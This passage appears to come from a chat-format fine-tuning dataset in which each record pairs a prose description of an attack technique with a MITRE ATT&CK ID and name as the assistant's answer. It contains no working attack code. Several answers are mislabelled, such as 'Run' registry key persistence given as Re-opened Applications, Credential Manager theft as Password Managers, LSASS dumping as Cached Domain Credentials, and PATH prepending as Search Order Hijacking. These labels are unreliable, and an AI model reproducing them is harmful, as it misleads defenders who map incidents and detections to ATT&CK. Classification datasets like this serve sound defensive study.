                "content": "Spearfishers deliver a malicious image file named 'Team_Photo.jpg' that is actually a polyglot file; opening it in a vulnerable image parser triggers execution of a payload."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious module uses the 'tar' command with -z -c options to create a compressed archive of stolen data."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a smurf attack, broadcasting ICMP packets to the broadcast address with a spoofed source IP of the victim."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a compromised serverless function to pivot laterally within the victim's cloud network."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use WinRAR to create an archive of exfiltrated databases."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a command to the 'Run' registry key that re-executes the backdoor each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Infiltrating code injects into the graphic driver to intercept frame buffers, enabling high‑resolution screen captures that are transmitted over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a PowerShell script to pull credentials from the Windows Credential Manager API."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages signed driver abuse to modify the UEFI variables, causing malicious code to be executed during the Pre‑OS phase."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated actor manipulates real-time streaming video packets, inserting hidden payloads that execute on the viewer's device."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set configures a Windows Service to trigger a scheduled task that invokes a malicious JScript payload."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes a system call to the iOS CoreLocation service to capture the device's location data."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers obtain reports from a closed-source cybercrime forum and use the provided IOC list to update their C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red Team operators add an external trust to a victim's AD environment to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage group alters the PATH variable in a service's environment, causing the service to execute a compromised binary on restart."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the PubPrn RPC interface of the Windows Print Spooler to proxy execution of malicious scripts on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses anti-attach techniques by creating a named pipe with a unique identifier and refusing connections from unknown processes."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker captures NTLM password hashes from the SAM database and reuses them to authenticate to remote services without cracking them."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group writes a zero‑day buffer overflow exploit to compromise Linux workstations for later credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets the setuid bit on a temporary executable to bypass normal permission checks and gain elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by first moving it to a compromised web server under the attacker’s control."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider provisions a new cloud account in the organization's Office 365 tenant without approval."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of stolen local credentials to access a Windows host without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set a BITS transfer that points to a malicious PDF which, when opened, triggers a drive-by download."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stopped the endpoint antivirus service and deleted its configuration files."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a persistent channel using WebSocket connections to control infected machines."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a custom screensaver that executes a PowerShell script each time the user’s session becomes idle and the screensaver starts."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised third‑party vendor VPN, the attacker tunnels malicious traffic into the target’s internal network, bypassing the external firewall controls."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Windows Service Control Manager to launch a malicious executable with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scan CDN edge node IP ranges for active services, gathering clues about the target's web applications and hosted content."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the setuid bit on a benign utility, enabling it to run with elevated privileges and perform unauthorized actions."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows API function ChangeServiceConfig2 to alter the description and binary path of an existing service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending SNMP walk commands, the attacker harvested routing tables and ACL entries stored within the device's MIB."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell web shell is uploaded to the victim's Exchange server, allowing the attacker to run commands via HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor exploits insecure ACLs on HKLM\\SYSTEM\\CurrentControlSet\\Services to replace the service binary."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a valid local account to execute remote PowerShell commands after gaining initial foothold."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a trusted business partner’s credentials to infiltrate the victim’s environment."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a hardcoded domain but resolves it at execution time to avoid static analysis."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware is engineered to exploit vulnerabilities in virtualization software, allowing the attacker to escape the confines of a virtual machine and interact with the host system."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee receives an email appearing to come from the HR department, prompting them to click a link that installs credential‑stealing malware."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By deploying a compromised update, the threat actor downgrades the device's firmware, nullifying recent security improvements."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spear‑phishing email uses a shortened link to a phishing site that harvests user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a reverse shell in a container image and deploy it through the victim’s container orchestration system."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape the victim's public code repositories to discover internal project names and development tools."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 modifies the registry to set the \"Start\" value of the \"WinRM\" service to 4, effectively stopping remote management capabilities."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software extracts email content from the local mail client’s cache using direct file I/O operations."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware communicates with its C2 server by sending encrypted commands through a legitimate web service API."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape the target company’s public website and LinkedIn to identify individuals who have managerial or privileged positions."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates all connected USB devices to gather hardware information."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest user inboxes by authenticating to Microsoft Exchange using stolen credentials and downloading mailbox data."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts cached domain credentials from LSASS memory to obtain NTLM hashes for later use."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries created a stealthy trust relationship between the victim domain and a hidden attacker domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy script monitors the total bytes sent and pauses when the cumulative transfer approaches the 5 MB daily limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltration, the threat actor clears the network connection history and resets network settings to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a folder containing a malicious executable to the system's PATH variable ahead of the legitimate binary's directory, causing the OS to load the malicious file first."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a systemd service with Type=notify that runs a stealthy espionage tool."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the at scheduler, the threat actor ensures persistence by running a backdoor every night at 2 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app on the victim's device intercepts push notification approvals for two-factor authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects into the UEFI firmware during the boot process, corrupting firmware to gain kernel-level privileges."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a previously obtained Office 365 access token to send phishing emails via the compromised account."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious Office add‑in in the Windows registry under HKCU\\Software\\Microsoft\\Office\\Word\\Addins, causing the payload to execute each time Word launches."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypted files and wrote them to a set of Blu‑ray discs, which were mailed out of the organization."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink is embedded in a PDF attachment sent via email, directing the victim to a credential‑stealing site."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing InstallUtil, the attacker performed proxy execution of a malicious managed executable."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a DNS amplification attack, sending small queries that generate massive responses toward the victim, leading to bandwidth exhaustion."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker orchestrates an application exhaustion attack by sending a high volume of valid requests that trigger expensive cryptographic operations on the server."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs SSH tunneling over IPv6 packets without using the SSH application layer, making detection harder."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file‑dropping Trojan encrypts the victim's data with a symmetric key and stores the key on a remote server, making recovery impossible without paying the ransom."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a cloud‑based scanning service to remotely assess the target’s Kubernetes clusters for insecure configurations."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrambles payloads by interleaving junk bytes throughout the executable code, requiring reconstruction before execution."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves creating a recurring task in Task Scheduler to invoke a reverse shell script every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen files are chunked, encrypted with the attacker’s public key, and transmitted via outbound FTP uploads to an unauthenticated external server."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerability to automatically generate a local account on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor replaces the contents of a log file with fabricated entries to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain compromise, the attacker accessed a Kubernetes secret manifest stored in etcd, revealing cloud API credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rewrites the runtime configuration file held in RAM to change network proxy settings used by the application."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
